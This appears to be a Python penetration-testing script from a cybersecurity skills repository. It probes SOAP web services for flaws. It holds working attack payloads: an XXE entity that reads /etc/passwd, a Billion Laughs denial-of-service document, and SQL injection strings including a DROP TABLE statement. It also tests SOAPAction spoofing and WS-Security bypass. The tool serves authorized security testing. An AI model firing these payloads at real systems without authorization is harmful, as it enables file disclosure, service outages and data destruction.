mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-11 13:44:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
183 lines
7.9 KiB
Python
183 lines
7.9 KiB
Python
#!/usr/bin/env python3
|
|
"""Agent for security testing SOAP web services.
|
|
|
|
Parses WSDL definitions using zeep/lxml, tests for XXE, SQL injection,
|
|
SOAPAction spoofing, and WS-Security bypass vulnerabilities.
|
|
"""
|
|
|
|
import json
|
|
import os
|
|
import requests
|
|
import sys
|
|
from lxml import etree
|
|
|
|
|
|
SOAP_NS = {
|
|
"wsdl": "http://schemas.xmlsoap.org/wsdl/",
|
|
"soap": "http://schemas.xmlsoap.org/wsdl/soap/",
|
|
"soap12": "http://schemas.xmlsoap.org/wsdl/soap12/",
|
|
"wsse": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd",
|
|
}
|
|
|
|
|
|
class SOAPSecurityTester:
|
|
"""Tests SOAP web services for common vulnerabilities."""
|
|
|
|
def __init__(self, wsdl_url, endpoint_url=None):
|
|
self.wsdl_url = wsdl_url
|
|
self.endpoint_url = endpoint_url
|
|
self.operations = []
|
|
self.findings = []
|
|
|
|
def parse_wsdl(self):
|
|
"""Fetch and parse the WSDL to extract operations and endpoint."""
|
|
resp = requests.get(self.wsdl_url, timeout=30)
|
|
resp.raise_for_status()
|
|
root = etree.fromstring(resp.content)
|
|
|
|
if not self.endpoint_url:
|
|
addr = root.find(".//soap:address", SOAP_NS)
|
|
if addr is not None:
|
|
self.endpoint_url = addr.get("location")
|
|
|
|
for binding_op in root.findall(".//wsdl:binding/wsdl:operation", SOAP_NS):
|
|
name = binding_op.get("name")
|
|
soap_op = binding_op.find("soap:operation", SOAP_NS)
|
|
action = soap_op.get("soapAction", "") if soap_op is not None else ""
|
|
self.operations.append({"name": name, "action": action})
|
|
return self.operations
|
|
|
|
def _send_soap(self, body_xml, soap_action="", timeout=10):
|
|
headers = {"Content-Type": "text/xml; charset=utf-8"}
|
|
if soap_action:
|
|
headers["SOAPAction"] = soap_action
|
|
return requests.post(self.endpoint_url, data=body_xml,
|
|
headers=headers, timeout=timeout)
|
|
|
|
def test_xxe(self, operation_name):
|
|
"""Test for XML External Entity injection."""
|
|
payloads = [
|
|
("Classic XXE file read",
|
|
f'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM '
|
|
f'"file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv='
|
|
f'"http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body>'
|
|
f'<{operation_name}>&xxe;</{operation_name}>'
|
|
f'</soapenv:Body></soapenv:Envelope>'),
|
|
("Billion Laughs DoS",
|
|
f'<?xml version="1.0"?><!DOCTYPE lolz ['
|
|
f'<!ENTITY lol "lol"><!ENTITY l2 "&lol;&lol;&lol;&lol;&lol;">'
|
|
f'<!ENTITY l3 "&l2;&l2;&l2;&l2;&l2;">]>'
|
|
f'<soapenv:Envelope xmlns:soapenv='
|
|
f'"http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body>'
|
|
f'<{operation_name}>&l3;</{operation_name}>'
|
|
f'</soapenv:Body></soapenv:Envelope>'),
|
|
]
|
|
results = []
|
|
for name, payload in payloads:
|
|
try:
|
|
resp = self._send_soap(payload, timeout=10)
|
|
vulnerable = "root:" in resp.text or resp.elapsed.total_seconds() > 5
|
|
if vulnerable:
|
|
self.findings.append({"severity": "CRITICAL", "type": "XXE",
|
|
"operation": operation_name, "test": name})
|
|
results.append({"test": name, "vulnerable": vulnerable,
|
|
"status": resp.status_code,
|
|
"time_s": resp.elapsed.total_seconds()})
|
|
except requests.RequestException as exc:
|
|
results.append({"test": name, "error": str(exc)})
|
|
return results
|
|
|
|
def test_sql_injection(self, operation_name, soap_action=""):
|
|
"""Test SOAP parameters for SQL injection error disclosure."""
|
|
sqli_payloads = ["' OR '1'='1", "1; DROP TABLE users--",
|
|
"' UNION SELECT NULL--", "admin'/*"]
|
|
results = []
|
|
sql_errors = ["SQL syntax", "ORA-", "SQLSTATE", "Unclosed quotation",
|
|
"Microsoft OLE DB", "PostgreSQL"]
|
|
for payload in sqli_payloads:
|
|
body = (f'<soapenv:Envelope xmlns:soapenv='
|
|
f'"http://schemas.xmlsoap.org/soap/envelope/">'
|
|
f'<soapenv:Body><{operation_name}>'
|
|
f'<param>{payload}</param></{operation_name}>'
|
|
f'</soapenv:Body></soapenv:Envelope>')
|
|
try:
|
|
resp = self._send_soap(body, soap_action, timeout=15)
|
|
error_found = any(e in resp.text for e in sql_errors)
|
|
if error_found:
|
|
self.findings.append({"severity": "CRITICAL", "type": "SQL Injection",
|
|
"operation": operation_name,
|
|
"payload": payload[:30]})
|
|
results.append({"payload": payload, "sql_error": error_found,
|
|
"status": resp.status_code})
|
|
except requests.RequestException:
|
|
continue
|
|
return results
|
|
|
|
def test_soapaction_spoofing(self):
|
|
"""Test whether mismatched SOAPAction headers are accepted."""
|
|
results = []
|
|
for i, op in enumerate(self.operations):
|
|
for j, other in enumerate(self.operations):
|
|
if i == j:
|
|
continue
|
|
body = (f'<soapenv:Envelope xmlns:soapenv='
|
|
f'"http://schemas.xmlsoap.org/soap/envelope/">'
|
|
f'<soapenv:Body><{op["name"]}><p>test</p>'
|
|
f'</{op["name"]}></soapenv:Body></soapenv:Envelope>')
|
|
try:
|
|
resp = self._send_soap(body, other["action"])
|
|
if resp.status_code == 200 and "Fault" not in resp.text:
|
|
self.findings.append({"severity": "HIGH",
|
|
"type": "SOAPAction Spoofing",
|
|
"operation": op["name"],
|
|
"spoofed_action": other["action"]})
|
|
results.append({"op": op["name"],
|
|
"spoofed": other["action"], "accepted": True})
|
|
except requests.RequestException:
|
|
continue
|
|
return results
|
|
|
|
def test_ws_security_bypass(self):
|
|
"""Test whether requests without WS-Security tokens are accepted."""
|
|
if not self.operations:
|
|
return []
|
|
op = self.operations[0]
|
|
body = (f'<soapenv:Envelope xmlns:soapenv='
|
|
f'"http://schemas.xmlsoap.org/soap/envelope/">'
|
|
f'<soapenv:Body><{op["name"]}><p>test</p>'
|
|
f'</{op["name"]}></soapenv:Body></soapenv:Envelope>')
|
|
try:
|
|
resp = self._send_soap(body)
|
|
accepted = resp.status_code == 200 and "Fault" not in resp.text
|
|
if accepted:
|
|
self.findings.append({"severity": "CRITICAL",
|
|
"type": "WS-Security Bypass",
|
|
"operation": op["name"]})
|
|
return [{"test": "No WS-Security header", "accepted": accepted}]
|
|
except requests.RequestException as exc:
|
|
return [{"error": str(exc)}]
|
|
|
|
def generate_report(self):
|
|
report = {"target": self.endpoint_url, "wsdl": self.wsdl_url,
|
|
"operations": len(self.operations),
|
|
"findings_count": len(self.findings),
|
|
"findings": self.findings}
|
|
print(json.dumps(report, indent=2))
|
|
return report
|
|
|
|
|
|
def main():
|
|
wsdl = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("SOAP_WSDL_URL", "http://localhost:8080/ws?wsdl")
|
|
tester = SOAPSecurityTester(wsdl)
|
|
tester.parse_wsdl()
|
|
for op in tester.operations:
|
|
tester.test_xxe(op["name"])
|
|
tester.test_sql_injection(op["name"], op["action"])
|
|
tester.test_soapaction_spoofing()
|
|
tester.test_ws_security_bypass()
|
|
tester.generate_report()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|